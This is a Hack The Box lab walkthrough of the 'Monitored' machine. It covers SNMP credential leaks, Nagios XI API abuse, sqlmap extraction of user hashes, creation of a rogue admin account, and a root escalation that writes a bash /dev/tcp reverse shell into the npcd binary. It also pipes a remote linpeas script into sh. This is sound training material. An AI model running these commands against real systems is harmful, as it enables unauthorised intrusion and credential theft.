Skip to content
Hack The Box3 min read

HTB - Monitored

Monitored - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



HTB - Monitored#

  • NMAP

image1

image2

  • UDP Scan:
bash
sudo nmap nagios.monitored.htb -sU -vvv

image3

  • Add nagios.monitored.htb to /etc/hosts

image4

image5

  • Directory bruteforcing:
bash
ffuf -u https://nagios.monitored.htb/nagiosxi/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image6

  • FUZZ /api
bash
ffuf -u https://nagios.monitored.htb/nagiosxi/api/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image7

  • FUZZ /v1 /v1 is an indicator of version controlled endpoints:
bash
ffuf -u https://nagios.monitored.htb/nagiosxi/api/v1/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image8

image9

  • Filter:
bash
ffuf -u https://nagios.monitored.htb/nagiosxi/api/v1/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fw 4

image10

  • Incorrectly formatted POST request:
bash
curl -X POST -H "Content-Type: application/json" -d '{"test": "test"}' -k https://nagios.monitored.htb/nagiosxi/api/v1/authenticate

image11

  • After looking at the Login page POST request - we can see two things: The Content-Type and

how the username and password is being sent as parameters

image12

  • Correctly formatted POST request: Can include -H "Content-Type: application/x-www-form-urlencoded" but isn't necessary
bash
curl -X POST -d "username=test&password=test" -k https://nagios.monitored.htb/nagiosxi/api/v1/authenticate

image13

  • <u>SNMP:</u> SNMPv1: Authentication is based on a string (community string) that travels in plain-text (all the information travels in plain text)

image14

  • From the NMAP scan we can see it's SNMP v1 and the community string is public

  • Check login with Metasploit (and we get the Community String - public) as well

image15

bash
snmpwalk -c public 10.129.230.96 -v 1

image16

bash
sudo apt install snmp-mibs-downloader
bash
sudo nano /etc/snmp/snmp.conf #comment out mibs

image17

  • Now it shows the names:

image18

  • Let snmpwalk run and output to a file:
bash
snmpwalk -c public 10.129.230.96 -v 1 > snmp.txt
  • SNMP-Check: The output format is much better
bash
snmp-check 10.129.230.96

image19

  • Found a potential username and password - looking at services:

image20

svc : XjH7………

  • Tried to login at the login page and SSH with it but it doesn't work, as well as /terminal:

image21

  • Try to login to the API:
bash
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=svc&password=<password>" -k https://nagios.monitored.htb/nagiosxi/api/v1/authenticate

image22

Auth_token: 815a6e02614c74f9bce2bd585298b5efa0858d6d

https://nagios.monitored.htb/nagiosxi/?token=815a6e02614c74f9bce2bd585298b5efa0858d6d

image23

image24

image25

  • SQLmap:

image26

image27

  • It needs to be a cookie of an authenticated user
bash
sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php" --data="action=acknowledge_banner_message&id=3" --cookie "nagiosxi=q0mkm8crf2a3rckum3enqgafje" --dbms=MySQL --level=1 --risk=1 -D nagiosxi -T xi_users --dump

image28

nagiosadmin : $2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C

API_Key : IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL

  • The hash is a bcrypt hash:

image29

https://support.nagios.com/kb/article/nagios-xi-how-to-apply-configuration-using-the-api-697.html

  • Changing the parameter to ?apikey= seems to give a different error

image30

image31

  • Got something different back

/user

image32

  • According to the article above, we can do something like this:
bash
curl -X POST -k "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=admin1&password=password1&name=john%20smit&email=john@localhost"

image33

  • Added a user:

image34

But it's just a user

image35

Auth_level is by default = user

  • Change auth_level = admin:
bash
curl -X POST -k "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=admin&password=admin&auth_level=admin&name=john%20smit&email=john2@localhost"

image36

  • Log in to nagiosxi

image37

  • We have an admin panel

https://assets.nagios.com/downloads/nagiosxi/docs/How-To-Use-The-Actions-Component-in-Nagios-XI.pdf

Configure -> Core Config Manager -> Commands -> Add New

image38

Input a rev shell

image39

. -> Quick Tools -> Apply configuration

.-> Monitoring -> Services

image40

  • Pick one and edit: Choose the command we made

image41

  • Set up listener on Kali

  • . -> Quick Tools -> Apply configuration

  • Shell:

image42

  • The shell is temperamental but if it drops out, just restart the listener and wait or in Services, choose your service and click Run Check Command and stop the command after you get a shell

  • To get a better shell:

bash
ssh-keygen -t rsa -b 4096

chmod 600 id_rsa

echo "id_rsa.pub" > .ssh/authorized_keys

ssh nagios@10.129.230.96 -i id_rsa

image43

<u>Priv esc:</u>

bash
sudo -l

image44

  • Upload linpeas:
bash
curl http://10.10.14.38:8082/linpeas.sh | sh

image45

  • Looking at the services from linpeas:
bash
systemctl status nagios.service

image46

  • Reading the script manage_services.sh We can see that it's a script that basically does what systemctl does - starts and stops services and looks at the status

image47

  • We have sudo rights to run this script with wilcard * arguments

  • Looking at the list of services that we can start/ stop - ncpd stands out because we can write to that executable

image48

Everything in Linux is a file

  • Set up listener:
bash
rlwrap -cAr nc -lvnp 9001
  • Do the following:
bash
rm -rf /usr/local/nagios/bin/npcd

nano /usr/local/nagios/bin/npcd

#!/bin/bash
bin/bash -i >& /dev/tcp/10.10.14.38/9001 0>&1
chmod +x /usr/local/nagios/bin/npcd
sudo /usr/local/nagiosxi/scripts/manage_services.sh restart npcd

image49

image50

image51

image52

image53

Hack The Box8 min

HTB - Analysis

Analysis - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • gobuster
  • impacket
  • ldap
  • linux
  • nmap
Hack The Box7 min

HTB - MagicGardens

MagicGardens - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • docker breakout
  • hashcat
  • hydra
  • linux
  • linux capabilities
Hack The Box2 min

HTB - Crafty

Crafty - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • ldap
  • linux
  • nmap
  • powershell
  • privilege escalation